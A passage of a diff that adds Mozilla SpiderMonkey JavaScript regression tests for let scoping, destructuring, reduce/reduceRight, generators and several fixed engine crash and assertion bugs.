+ * to calling reportCompare. Note setting y = /(1)/y resets the lastIndex etc.
+ */
+
+ var y = /(1)/y;
+ var expect4 = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ var actual4 = 'captures: ' + y.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ var expect5 = 'captures: null; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ var actual5 = 'captures: ' + y.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ reportCompare(expect4, actual4, summary + ' - /(1)/y.exec("1234561") first call');
+ reportCompare(expect5, actual5, summary + ' - /(1)/y.exec("1234561") second call');
+
+ var y = /(1)/y;
+
+ reportCompare(expect5, actual5, summary);
+
+ y = /(1)/y;
+ var expect6 = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "123456"';
+ var actual6 = 'captures: ' + y.exec('1123456') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ var expect7 = 'captures: 1,1; RegExp.leftContext: "1"; RegExp.rightContext: "23456"';
+ var actual7 = 'captures: ' + y.exec('1123456') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ reportCompare(expect6, actual6, summary + ' - /(1)/y.exec("1123456") first call');
+ reportCompare(expect7, actual7, summary + ' - /(1)/y.exec("1123456") second call');
+
+ var y = /(1)/y;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/browser.js b/js/src/tests/js1_7/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/regress/browser.js
diff --git a/js/src/tests/js1_7/regress/regress-350387.js b/js/src/tests/js1_7/regress/regress-350387.js
new file mode 100644
index 000000000..6bdf33dd7
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-350387.js
@@ -0,0 +1,38 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350387;
+var summary = 'Var declaration and let with same name';
+var actual = '';
+var expect = '';
+
+expect = undefined + '';
+actual = '';
+let (x = 2)
+{
+ var x;
+}
+actual = x + '';
+reportCompare(expect, actual, summary + ': 1');
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = undefined + '';
+ actual = '';
+ (function () { let (x = 2) { var x; } actual = x + ''; })();
+ reportCompare(expect, actual, summary + ': 2');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-352640-01.js b/js/src/tests/js1_7/regress/regress-352640-01.js
new file mode 100644
index 000000000..0ed722e41
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-352640-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; let b; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-352640-02.js b/js/src/tests/js1_7/regress/regress-352640-02.js
new file mode 100644
index 000000000..6336e4e86
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-352640-02.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; var b; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-352640-03.js b/js/src/tests/js1_7/regress/regress-352640-03.js
new file mode 100644
index 000000000..0499101b0
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-352640-03.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; [2 for each (b in [])]; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-352640-04.js b/js/src/tests/js1_7/regress/regress-352640-04.js
new file mode 100644
index 000000000..477695126
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-352640-04.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("switch(w) { case 2: with({}) let y; case 3: }");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-353079.js b/js/src/tests/js1_7/regress/regress-353079.js
new file mode 100644
index 000000000..2c7fd015f
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-353079.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353079;
+var summary = 'Do not Assert op == JSOP_LEAVEBLOCKEXPR... with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a in [1]) { { let x;
+ for (let y in ((function(id2) { return id2; })( '' ))) { } } }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-355023.js b/js/src/tests/js1_7/regress/regress-355023.js
new file mode 100644
index 000000000..73d055990
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-355023.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355023;
+var summary = 'destructuring assignment optimization';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[0] = 1024;
+
+ expect = (function(){ var a=[],[x]=a; return x; })();
+ actual = (function(){ var [x]=[]; return x; })();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-355832-01.js b/js/src/tests/js1_7/regress/regress-355832-01.js
new file mode 100644
index 000000000..dccf7e832
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-355832-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355832;
+var summary = 'execution of let binding nothing';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ { let [] = []; }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-355832-02.js b/js/src/tests/js1_7/regress/regress-355832-02.js
new file mode 100644
index 000000000..54e1506e4
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-355832-02.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355832;
+var summary = 'execution of let binding nothing';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ { let [] = []; print(3) } print(4)
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-363040-01.js b/js/src/tests/js1_7/regress/regress-363040-01.js
new file mode 100644
index 000000000..dc081fe45
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-363040-01.js
@@ -0,0 +1,95 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce, Array.prototype.reduceRight';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x,y) { return '(' + x + '+' + y + ')';}
+
+ var testdesc;
+ var arr0elms = [];
+ var arr1elms = [1];
+ var arr2elms = [1, 2];
+
+ testdesc = 'Test reduce of empty array without initializer.';
+ try
+ {
+ expect = 'TypeError: reduce of empty array with no initial value';
+ arr0elms.reduce(f);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of empty array without initializer.';
+ try
+ {
+ expect = 'TypeError: reduce of empty array with no initial value';
+ arr0elms.reduceRight(f);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of empty array with initial value.';
+ expect = 'a';
+ actual = arr0elms.reduce(f, 'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of empty array with initial value.';
+ expect = 'a';
+ actual = arr0elms.reduceRight(f, 'a');
+ reportCompare(expect + '', actual + '', testdesc +' : ' + expect);
+
+ testdesc = 'Test reduce of 1 element array with no initializer.';
+ expect = '1';
+ actual = arr1elms.reduce(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 1 element array with no initializer.';
+ expect = '1';
+ actual = arr1elms.reduceRight(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of 2 element array with no initializer.';
+ expect = '(1+2)';
+ actual = arr2elms.reduce(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of 2 element array with initializer.';
+ expect = '((a+1)+2)';
+ actual = arr2elms.reduce(f,'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 2 element array with no initializer.';
+ expect = '(2+1)';
+ actual = arr2elms.reduceRight(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 2 element array with no initializer.';
+ expect = '((a+2)+1)';
+ actual = arr2elms.reduceRight(f,'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-363040-02.js b/js/src/tests/js1_7/regress/regress-363040-02.js
new file mode 100644
index 000000000..c24e4a605
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-363040-02.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in array flattening';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function flatten(arr)
+ {
+ function op(partial, item)
+ {
+ if (item instanceof Array)
+ Array.prototype.push.apply(partial, flatten(item));
+ else
+ partial.push(item);
+
+ return partial;
+ }
+
+ return arr.reduce(op, []);
+ }
+
+ expect = [1, 2, 3];
+ actual = flatten([1, 2, 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([1, [2], 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [2, 3];
+ actual = flatten([[], 2, 3]); // [2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([[1], 2, 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [4];
+ actual = flatten([[[[4]]]]); // [4]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([1, [2, [3]]]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [];
+ actual = flatten([[[[[]]]]]); // []
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-369666-01.js b/js/src/tests/js1_7/regress/regress-369666-01.js
new file mode 100644
index 000000000..1be90603f
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-369666-01.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369666;
+var summary = 'inner function declaration in let-induced outer ' +
+ 'function body gets wrong scope.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foo() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ return bar;
+ }
+
+ print(foo()());
+
+ baz = false;
+
+ function foo2() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ try {
+ if (baz)
+ return bar;
+ } finally {
+ print('finally', x);
+ }
+ return bar;
+ }
+
+ print(foo2()());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-369666-02.js b/js/src/tests/js1_7/regress/regress-369666-02.js
new file mode 100644
index 000000000..f55b49617
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-369666-02.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369666;
+var summary = 'inner function declaration in let-induced outer ' +
+ 'function body gets wrong scope.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foo() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ return bar;
+ }
+
+ print(foo()());
+
+ baz = false;
+
+ function foo2() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ function bletch() {
+ return x * x;
+ }
+
+ try {
+ if (baz)
+ return bar;
+ } finally {
+ print('finally', x);
+ }
+ return bletch;
+ }
+
+ print(foo2()());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-372331.js b/js/src/tests/js1_7/regress/regress-372331.js
new file mode 100644
index 000000000..a9a868724
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-372331.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372331;
+var summary = 'for-in should not bind name too early';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var index;
+ var obj = { index: 1 };
+
+ expect = 'No Error';
+ actual = 'No Error';
+
+ function gen()
+ {
+ delete obj.index;
+ yield 2;
+ }
+
+ with (obj) {
+ for (index in gen());
+ }
+
+ try
+ {
+ if ('index' in obj)
+ throw "for-in binds name to early";
+
+ if (index !== 2)
+ throw "unexpected value of index: "+index;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-373827-01.js b/js/src/tests/js1_7/regress/regress-373827-01.js
new file mode 100644
index 000000000..01da279f8
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-373827-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 373827;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ { let [] = [{x: function(){}}]; };
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-373827-02.js b/js/src/tests/js1_7/regress/regress-373827-02.js
new file mode 100644
index 000000000..3596feb69
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-373827-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 373827;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ { let [] = [{x: function(){}}]; }; foo;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-375695.js b/js/src/tests/js1_7/regress/regress-375695.js
new file mode 100644
index 000000000..508560ce9
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-375695.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375695;
+var summary = 'Do not assert: !fp->blockChain || OBJ_GET_PARENT(cx, obj) == fp->blockChain';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try { try { throw 1 } catch([] if false) { } } catch(ex) {}
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-379442.js b/js/src/tests/js1_7/regress/regress-379442.js
new file mode 100644
index 000000000..639523270
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-379442.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379442;
+var summary = 'Regression from bug 368224';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ (function () { ({ y: [] } = {}); });
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-379483.js b/js/src/tests/js1_7/regress/regress-379483.js
new file mode 100644
index 000000000..f9ee84b30
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-379483.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379483;
+var summary = 'Do not assert: top < ss->printer->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function () { try { } catch([e]) { [1]; } });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-385133-01.js b/js/src/tests/js1_7/regress/regress-385133-01.js
new file mode 100644
index 000000000..03b09f535
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-385133-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385133;
+var summary = 'Do not crash due to recursion with watch, setter, delete, generator';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ Object.defineProperty(this, "x", { set: {}.watch, enumerable: true, configurable: true });
+ this.watch('x', 'foo'.split);
+ delete x;
+ function g(){ x = 1; yield; }
+ for (i in g()) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-385133-02.js b/js/src/tests/js1_7/regress/regress-385133-02.js
new file mode 100644
index 000000000..ce429dd15
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-385133-02.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385133;
+var summary = 'Do not crash due to recursion with watch, setter, delete, generator';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ Object.defineProperty(this, "x", { set: {}.watch, enumerable: true, configurable: true });
+ function g() { x = 1; yield; }
+ g().next();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-385393-05.js b/js/src/tests/js1_7/regress/regress-385393-05.js
new file mode 100644
index 000000000..c642c4ec6
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-385393-05.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function c(gen)
+ {
+ Iterator;
+
+ "" + gen;
+
+ for (var i in gen())
+ ;
+ }
+
+ function gen()
+ {
+ ({}).hasOwnProperty();
+ yield;
+ }
+
+ c(gen);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-407727-01.js b/js/src/tests/js1_7/regress/regress-407727-01.js
new file mode 100644
index 000000000..f92113f5e
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-407727-01.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407727;
+var summary = 'let Object global redeclaration';
+var actual = '';
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
